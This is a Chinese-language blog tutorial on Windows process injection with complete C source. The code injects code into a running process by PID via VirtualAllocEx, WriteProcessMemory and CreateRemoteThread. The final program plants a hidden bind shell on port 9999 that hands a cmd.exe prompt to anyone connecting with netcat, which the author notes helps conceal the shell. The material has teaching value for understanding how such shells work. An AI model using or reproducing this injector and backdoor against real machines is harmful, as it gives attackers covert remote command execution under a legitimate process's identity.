1.12 程序注入ShellCode通訊端

2023-09-01 12:00:53

在筆者前幾篇文章中我們一直在探討如何利用Metasploit這個滲透工具生成ShellCode以及如何將ShellCode注入到特定程序內,本章我們將自己實現一個正向ShellCodeShell,當程序被注入後,則我們可以通過利用NC等工具連線到被注入程序內,並以對方的許可權及身份執行命令,該功能有利於於Shell的隱藏。本章的內容其原理與《運用C語言編寫ShellCode程式碼》中所使用的原理保持一致,通過動態定位到我們所需的網路通訊函數並以此來構建一個正向Shell,本章節內容對Metasploit工具生成的Shell原理的理解能夠起到促進作用。

讀者需要理解,通訊端(socket)是計算機網路中一種特殊的檔案,是網路通訊中的一種技術,用於實現程序之間的通訊和網路中資料的傳輸。在網路通訊中,通訊端就像一條傳送資料的管道,負責資料的傳輸和接收。而socket(通訊端)是在網路通訊中最常用的一種通訊協定,它定義了一組用於網路通訊的API。通過使用socket,程式設計師可以在不同的計算機之間進行通訊。讀者可以將兩者理解為一個意思。

1.12.1 讀入Kernel32模組基址

為了能讓讀者更清晰的認識功能實現細節,首先筆者先來實現一個簡單的讀取特定模組內函數的入口地址,並輸出該模組地址的功能,需要注意的是,在之前的文章中筆者已經介紹了這種讀取技術,當時使用的是組合版實現,由於需要自定位程式碼的支援導致組合語言的實現過於繁瑣,其實此類程式碼在應用層實現僅僅只需要呼叫GetProcAddress()即可獲取到核心引數,其實先細節如下所示;

#include <iostream>
#include <Windows.h>

// Kernel32 呼叫約定定義
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

typedef struct _ShellBase
{
  // 針對Kernel32的操作
  HANDLE KernelHandle;        // 儲存控制程式碼
  char kernelstring[20];      // 儲存字串 kernel32.dll

  // 針對User32的操作
  HANDLE UserHandle;         // 儲存控制程式碼    
  char userstring[20];       // 儲存字串 user32.dll

  // 定義函數指標
  LOADLIBRARY KernelLoadLibrary;
  GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;

int main(int argc,char *argv[])
{
  ShellParametros Param;
  
  // 得到載入基地址的工具函數
  Param.KernelHandle = LoadLibrary("kernel32.dll");
  Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
  Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
  
  printf("獲取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);

  system("pause");
  return 0;
}

這段程式碼主要是定義了一個結構體ShellParametros,並初始化了其中的一些引數。該結構體中定義了兩個HANDLE型別的變數KernelHandleUserHandle,分別用於儲存kernel32.dlluser32.dll的控制程式碼。同時,也定義了兩個字串陣列kernelstringuserstring,用於儲存對應的庫名。

接下來,定義了兩個函數指標型別LOADLIBRARYGETPROCADDRESS,分別用於後續的動態庫載入和函數匯出操作。

main函數中,首先初始化了ShellParametros結構體型別的變數Param。然後,呼叫LoadLibrary函數載入kernel32.dll庫,並通過GetProcAddress函數分別獲取LoadLibraryAGetProcAddress函數的地址,並將它們賦值給Param.KernelLoadLibraryParam.KernelGetProcAddress函數指標變數。最終列印出獲取到的kernel32.dll的基地址,以及等待使用者按下任意鍵退出程式。

該程式碼拆分來看,首先是入口處的結構體定義部分,這部分定義了一個結構體ShellParametros,其中包含了對於kernel32.dlluser32.dll庫的操作的控制程式碼和字串,以及相關的函數指標型別LOADLIBRARYGETPROCADDRESS

// Kernel32 呼叫約定定義
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

typedef struct _ShellBase
{
    // 針對Kernel32的操作
    HANDLE KernelHandle;        // 儲存控制程式碼
    char kernelstring[20];      // 儲存字串 kernel32.dll

    // 針對User32的操作
    HANDLE UserHandle;         // 儲存控制程式碼    
    char userstring[20];       // 儲存字串 user32.dll

    // 定義函數指標
    LOADLIBRARY KernelLoadLibrary;
    GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;

而在主函數中,首先宣告了一個結構體變數Param,然後呼叫LoadLibrary函數載入kernel32.dll庫,將得到的控制程式碼儲存到Param.KernelHandle中。接著通過呼叫GetProcAddress函數獲取LoadLibraryAGetProcAddress函數的地址,將得到的函數地址分別儲存到Param.KernelLoadLibraryParam.KernelGetProcAddress中。最後通過printf函數列印出獲取到的Kernel32.dll的基址。

int main(int argc, char *argv[])
{
    ShellParametros Param;

    // 得到載入基地址的工具函數
    Param.KernelHandle = LoadLibrary("kernel32.dll");
    Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
    Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");

    printf("獲取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);
    printf("獲取到KernelLoadLibrary = 0x%08X \n", Param.KernelLoadLibrary);
    printf("獲取到GetProcAddress = 0x%08X \n", Param.KernelGetProcAddress);

    system("pause");
    return 0;
}

這段程式碼沒有任何難度,相信讀者能夠理解其實先的核心原理,當讀者執行此段程式碼,則會分別輸出Kernel32.dllLoadLibraryAGetProcAddress這三個模組函數的基址,輸出效果如下圖所示;

1.12.2 程序注入MsgBox彈窗

通過程序注入功能將一個具有自定位功能的函數的機器碼注入到遠端程序中,並執行輸出一個彈窗,該功能的輸出形式與前幾章中的內容很相似,但卻有本質的不同,首先前幾章內容中我們注入的資料為純粹的ShellCode程式碼,此類程式碼的缺陷在於一旦被生成則在注入時無法動態更改引數,而本章實現的注入技術則是動態填充記憶體並注入,從實用價值上來說本章中所演示的注入技術將更加通用及靈活。

動態彈窗的注入技術同樣需要定義關鍵函數指標,如下將分別定義三個函數指標,這些API函數的函數指標型別定義:

  • LOADLIBRARY:LoadLibrary函數的函數指標型別,用於將動態連結庫(DLL)載入到呼叫程序的地址空間中。
  • GETPROCADDRESS:GetProcAddress函數的函數指標型別,用於從DLL中檢索匯出函數或變數的地址。
  • MESSAGEBOX:MessageBox函數的函數指標型別,用於建立、顯示和操作訊息方塊。WINAPI呼叫約定指定了如何傳遞函數引數和清理堆疊。

這些函數指標型別通常用於動態載入DLL和執行時連結匯出函數。通過使用這些函數指標,程式可以在執行時獲取函數地址並動態呼叫它們。

// Kernel32 呼叫約定定義
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

// User32 中針對MessageBox的呼叫約定定義
typedef int(WINAPI* MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

接著我們需要定義一個ShellParametros結構體,該結構體的作用是用與傳遞引數到子執行緒MyShell(ShellParametros* ptr)中以供其使用,當然讀者也可以使用普通變數形式,只是普通變數在引數傳遞時沒有傳遞結構方便快捷,如下從結構中可看出,我們分別傳遞kernel32.dll,LoadLibrary,GetProcAddressMessageBoxA的函數地址,並附帶有該函數彈窗User_MsgBox的提示資訊;

typedef struct _ShellBase
{
  // 針對Kernel32的操作
  HANDLE Kernel32Base;
  char KernelString[20]; // kernel32.dll
  
  LOADLIBRARY Kernel_LoadLibrary;
  GETPROCADDRESS Kernel_GetProcAddress;

  // 針對User32的操作
  HANDLE User32Base;
  char UserString[20];   // 儲存 user32.dll 字串
  char User_MsgBox[20];  // 儲存 MessageBoxA 字串

  // 輸出一段話
  char Text[32];

}ShellParametros;

接著就是關於__stdcall MyShell(ShellParametros*);函數的封裝,這是一個用於遠端執行緒的函數定義,函數名為MyShell,採用__stdcall呼叫約定。該函數的引數是一個名為ptr的指向ShellParametros結構體的指標。

函數的實現包括以下步驟:

  • 1.通過呼叫ptr->Kernel_LoadLibrary函數動態載入指定的Kernel32User32庫,並將它們的控制程式碼儲存在ptr->Kernel32Baseptr->User32Base變數中。
  • 1.使用 ptr->Kernel_GetProcAddress 函數獲取 User32 庫中名為 ptr->User_MsgBox 的匯出函數的地址,並將其轉換為 MESSAGEBOX 函數指標型別的變數 msgbox
  • 1.呼叫 msgbox 函數,顯示 ptr->Text 變數中儲存的文字內容。

該函數的作用是在遠端執行緒中動態載入Kernel32User32庫,並呼叫User32庫中的MessageBox函數顯示指定的文字內容。

void __stdcall MyShell(ShellParametros*);

// 定義遠端執行緒函數
void __stdcall MyShell(ShellParametros* ptr)
{
  ptr->Kernel32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->KernelString);
  ptr->User32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->UserString);

  // printf("動態獲取到Kernel32基地址 = %x \n", ptr->Kernel32Base);
  // printf("動態獲取到User32基地址 = %x \n", ptr->User32Base);

  // MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
  MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->Kernel_GetProcAddress)((HINSTANCE)ptr->User32Base, ptr->User_MsgBox);
  
  //printf("MessageBox 基地址 = %x \n", msgbox);
  msgbox(0, ptr->Text, 0, 0);
}

最後我們來看一下在主函數中我們需要做什麼,在主函數中通過GetProcAddress函數分別得到我們所需要的函數入口地址,並通過呼叫strcpy函數分別將所需引數寫出到ShellParametros結構體中儲存,當一切準備就緒再通過OpenProcess開啟遠端程序,並設定一段讀寫執行記憶體空間,並呼叫WriteProcessMemoryMyShell函數寫出到該記憶體中儲存,最後呼叫CreateRemoteThread開闢遠端執行緒,執行彈窗功能;

這段程式碼主要包括以下步驟:

  • 1.定義了一個ShellParametros型別的變數Param和一個指向ShellParametros結構體的指標remote,並宣告了一個HANDLE型別的變數hProcess和一個void*型別的變數p
  • 2.使用LoadLibraryGetProcAddress函數獲取Kernel32庫中的LoadLibraryGetProcAddress函數的地址,並將其儲存到Param結構體的相應欄位中。
  • 3.分別將 kernel32.dlluser32.dll 的檔案名字元串儲存到 Param 結構體的相應欄位中,並將需要注入的程式碼函數名和文字字串分別儲存到 Param 結構體的相應欄位中。
  • 4.使用 OpenProcess 函數開啟指定 PID 的程序,並分別使用 VirtualAllocEx 函數在該程序中分配記憶體空間,分別儲存注入程式碼和 Param 結構體的資料。
  • 5.使用 WriteProcessMemory 函數將注入程式碼和 Param 結構體的資料寫入到指定程序中的記憶體空間中。
  • 6.使用 CreateRemoteThread 函數建立一個遠端執行緒,將注入程式碼的地址和 Param 結構體的地址傳遞給遠端執行緒,並在指定程序中執行注入的程式碼。

程式碼的作用是在指定程序中注入程式碼,並呼叫該程式碼中的 MyShell 函數,該函數將動態載入 Kernel32User32 庫,並呼叫 User32 庫中的 MessageBox 函數顯示指定的文字內容。

int main(int argc, char* argv[])
{
    ShellParametros Param, *remote = NULL;
    HANDLE hProcess;
    void* p = NULL;

    // 程序PID
    int ProcessID = 4016;

    // 得到載入基地址的工具函數
    Param.Kernel32Base = LoadLibrary("kernel32.dll");
    Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
    Param.Kernel_GetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
    // printf("獲取到Kernel32.dll = %x", Param.KernelHandle);

    // 分別獲取Kernel32與User32的對應字串
    strcpy(Param.KernelString, "kernel32.dll");
    strcpy(Param.UserString, "user32.dll");

    strcpy(Param.User_MsgBox, "MessageBoxA");
    strcpy(Param.Text, "hello lyshark");

    // 根據PID注入程式碼到指定程序中
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
    p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    remote = (ShellParametros*)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
    WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
    CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);

    // MyShell(&Param);
    return 0;
}

至此讀者可以將上述程式碼編譯下來,但需要注意的是,由於我們採用了動態生成ShellCode的功能,所以在使用此類程式碼是應關閉編譯環境中的DEP及ASLR機制,否則由於地址的動態變化我們的程式碼將無法成功定位函數入口,也就無法注入Shell;

DEP(Data Execution Prevention)保護是一種防止攻擊者在記憶體中執行惡意程式碼的技術。它通過將記憶體中的資料和程式碼區分開來,從而使得攻擊者無法在資料區執行程式碼。DEP保護通過硬體和軟體兩種方式來實現。硬體實現通過CPU硬體中的NX位,禁止在資料區執行程式碼。軟體實現通過作業系統核心檢查每個程序中的記憶體頁面的屬性,禁止在非執行屬性(NX)頁面上執行程式碼。

ASLR(Address Space Layout Randomization)是一種防止攻擊者利用緩衝區溢位等漏洞攻擊的技術。它通過在每次程式執行時隨機地分配記憶體地址,使得攻擊者難以確定記憶體地址的位置,從而難以實現攻擊。ASLR可以在作業系統核心、編譯器和二進位制程式碼等多個層面實現,如在編譯時生成隨機堆疊和堆地址、載入時隨機化記憶體基地址等。

這兩種技術都可以增強作業系統的安全性,防止惡意程式碼的攻擊和利用。DEP保護主要針對程式碼執行方面,ASLR則主要針對程式碼和資料在記憶體中的分佈方面。同時,兩者也有一些弱點和缺陷,例如DEP保護可以被一些攻擊技術繞過,ASLR的隨機性可能會被暴力破解或者資訊洩露等方式破壞。因此,在實際應用中需要綜合考慮多種安全技術,以提高系統的安全性。

修改int ProcessID並改為被注入程序的PID=4016,然後直接執行注入程式,則讀者會看到被注入程序彈出了一個MessageBox提示框,則說名我們的自定義Shell已經注入成功並執行了;

1.12.3 程序注入MyShell正向Shell

經過前面兩個小案例的總結讀者應該能夠理解如何自己編寫一個動態ShellCode注入軟體了,但是上述提到的這些功能並不具備真正的意義,而本章將繼續延申,並實現一種可被連線的正向ShellShell,在此案例中讀者需要理解一種繫結技術,在預設情況下,Windows系統中的每一個程序都存在標準輸入、輸出和錯誤流的匿名管道,而cmd.exe程序同樣存在這三種管道,要實現正向Shell,一般而言攻擊者會建立一個監聽指定埠的網路通訊端,並將其繫結到一個命令列直譯器(如 cmd.exe)的標準輸入和輸出流上,這樣攻擊者即可通過這個管道來使用遠端的CMD命令列,並以此達到控制對方的目的。

將CMD繫結到通訊端上通常涉及以下步驟:

  • 建立一個監聽通訊端,以便在使用者端連線之前等待連線。監聽通訊端可以是TCP或UDP型別。
  • 呼叫bind()函數將監聽通訊端繫結到本地IP地址和埠上。這是讓使用者端知道要連線哪個地址和埠的關鍵步驟。
  • 呼叫listen()函數將監聽通訊端轉換為被動通訊端,並設定等待連線的佇列的最大長度。
  • 呼叫accept()函數來接受使用者端連線,這將建立一個新的通訊端,它與使用者端通訊端相關聯。
  • 呼叫CreateProcess()函數啟動cmd.exe程序,並將標準輸入、輸出和錯誤流重定向到新建立的通訊端上。

首先我們需要定義所需要呼叫的函數指標,下方程式碼定義了一組函數指標,每個函數指標都指向一個API函數,包括 LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect 和 CreateProcess。這些函數與動態連結庫、通訊端通訊、網路程式設計、建立程序等有關。

#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

// 定義各種指標變數
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE, LPCSTR);

typedef int (WINAPI* BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI* ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI* LISTEN) (SOCKET, int);
typedef int (WINAPI* WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI* WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI* WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI* CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

接著我們需要在原始ShellParametros中進行擴充,根據所需函數的多少來定義承載該函數記憶體地址的指標型別;

typedef struct
{
  HANDLE          KernelHandle;
  char            kernelstring[20];        // 儲存kernel32.dll字串
  char            CreateProcessstring[20]; // 存放函數名字字串
  LOADLIBRARY     KernelLoadLibrary;
  GETPROCADDRESS  KernelGetProcAddress;
  CREATEPROCESS   KernelCreateProcess;

  HANDLE      WSAHandle;
  char        wsastring[20];
  char        wsastartupstring[20];
  char        WSASocketString[20];
  char        WSAConnectstring[20];
  char        bindstring[20];
  char        acceptstring[10];
  char        listenstring[10];
  
  WSASTARTUP  ShellWsaStartup;
  ACCEPT      ShellAccept;
  BIND        ShellBind;
  WSACONNECT  ShellWsaConnect;
  WSASOCKET   ShellWSASocket;
  LISTEN      ShellListen;

  unsigned short port;
  char cmd[255];
} PARAMETROS;

接著再來看核心MyShellShell實現函數,如下程式碼實現了一個遠端Shell,通過動態連結庫實現對API函數的呼叫。

首先,通過呼叫 LoadLibraryGetProcAddress 函數,獲取到 ws2.dllkernel32.dll 中的函數地址,分別是 WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。

然後,通過呼叫 WSAStartup 函數初始化通訊端程式設計,建立一個通訊端,並繫結在一個埠。通過 Listen 函數監聽連線請求,並使用 Accept 函數接收連線請求。

當有連線請求時,使用 CreateProcess 函數建立一個程序,並將標準輸入、輸出和錯誤重定向到網路通訊端,實現遠端 Shell。

// 呼叫的遠端Shell程式碼
void __stdcall MyShell(PARAMETROS* ptr)
{
  STARTUPINFO si;
  struct sockaddr_in sa;
  PROCESS_INFORMATION pi;
  int s, n;
  WSADATA HWSAdata;

  // 通過GetProcAddress獲取到ws2.dll中的所有函數地址
  ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
  ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
  ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
  ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
  ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
  ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
  ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);

  // 通過GetProcAddress獲取到kernel32.dll中的所有函數地址
  ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
  ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
  ptr->ShellWsaStartup(0x101, &HWSAdata);
  
  s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = ptr->port;
  sa.sin_addr.s_addr = 0;
  ptr->ShellBind(s, (struct sockaddr*)&sa, 16);
  ptr->ShellListen(s, 1);

  while (1)
  {
    n = ptr->ShellAccept(s, (struct sockaddr*)&sa, NULL);
    si.cb = sizeof(si);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; // 0x101
    si.hStdInput = si.hStdOutput = si.hStdError = (void*)n;
    si.lpDesktop = si.lpTitle = (char*)0x0000;
    si.lpReserved2 = NULL;
    ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
  }
}

最後再來看一下實現呼叫的主函數,程式碼中通過argv[1]也就是命令列引數傳遞,並繫結到(unsigned short)9999埠上,通過GetProcAddress依次獲取所需函數記憶體地址並使用strcpy初始化結構體PARAMETROS,最後直接呼叫CreateRemoteThread實現執行緒Shell反彈。

  • 通過 LoadLibrary 和 GetProcAddress 函數獲取到 kernel32.dll 中 LoadLibrary 和 GetProcAddress 函數的地址。然後,通過 strcpy 函數初始化一個 PARAMETROS 結構體,並填充該結構體的各個欄位。
  • 通過 OpenProcess 函數開啟目標程序,使用 VirtualAllocEx 函數在目標程序中分配記憶體,並使用 WriteProcessMemory 函數將程式碼和引數複製到目標程序的記憶體中。
  • 通過 CreateRemoteThread 函數在目標程序中建立一個執行緒,並將執行緒的入口點設定為 MyShell 函數,這樣就實現了程序注入。
int main(int argc, char* argv[])
{
  void* p = NULL;
  HANDLE hProcess;
  PARAMETROS parametros, * remote;
    
  if (argc == 2)
  {
    int PID = atoi(argv[1]);
    memset((void*)&parametros, 0, sizeof(PARAMETROS));
    strncpy(parametros.cmd, "cmd", sizeof("cmd") - 1);
    parametros.port = htons((unsigned short)9999);

    printf("[-] PID = %d \n", PID);
    // 獲取到動態連結庫載入函數地址
    parametros.KernelHandle = LoadLibrary("kernel32.dll");
    parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
    parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");

    // 拷貝 winsock 字串
    strcpy(parametros.wsastring, "ws2_32.dll");
    strcpy(parametros.wsastartupstring, "WSAStartup");
    strcpy(parametros.WSASocketString, "WSASocketW");
    strcpy(parametros.WSAConnectstring, "WSAConnect");
    strcpy(parametros.bindstring, "bind");
    strcpy(parametros.acceptstring, "accept");
    strcpy(parametros.listenstring, "listen");

    // 拷貝 kernel32 字串
    strcpy(parametros.kernelstring, "kernel32.dll");
    strcpy(parametros.CreateProcessstring, "CreateProcessA");

    // 開始注入程式碼
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    remote = (PARAMETROS*)VirtualAllocEx(hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
    WriteProcessMemory(hProcess, remote, &parametros, sizeof(PARAMETROS), 0);
    CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);
    // CreateRemoteThread(hProcess, 0, 0, (DWORD(WINAPI *)(void *)) p, remote, 0, 0);
    printf("[+] 已注入程序 %d \n", PID);
  }
  return 0;
}

編譯上述程式碼片段,並找到對應程序PID,通過引數MyShell.exe 8624傳入被注入程序PID號,當注入成功後,會提示程序請求聯網,此時一個不具備網路通訊功能的程序,因我們注入了ShllShell,則自然就具備了網路通訊的能力,如下圖所示;

此時讀者可下載32位元版本的NC,通過使用執行命令nc [遠端IP地址] [埠]連線到程序內部;

小提示:Netcat是一款網路工具,也稱為nc工具,可以在不同的計算機之間進行資料傳輸。它可以在命令列中使用,並支援TCP/IP和UDP協定,其被譽為駭客界的瑞士軍刀,是每個安全從業者不可或缺的利器。
官方網站:https://eternallybored.org/misc/netcat/

當連線到程序內部則會反彈一個CMDShell此時在該CMD下的所有操作都會被標記為宿主程序的操作。

本文作者: 王瑞
本文連結: https://www.lyshark.com/post/3e10758e.html
版權宣告: 本部落格所有文章除特別宣告外,均採用 BY-NC-SA 許可協定。轉載請註明出處!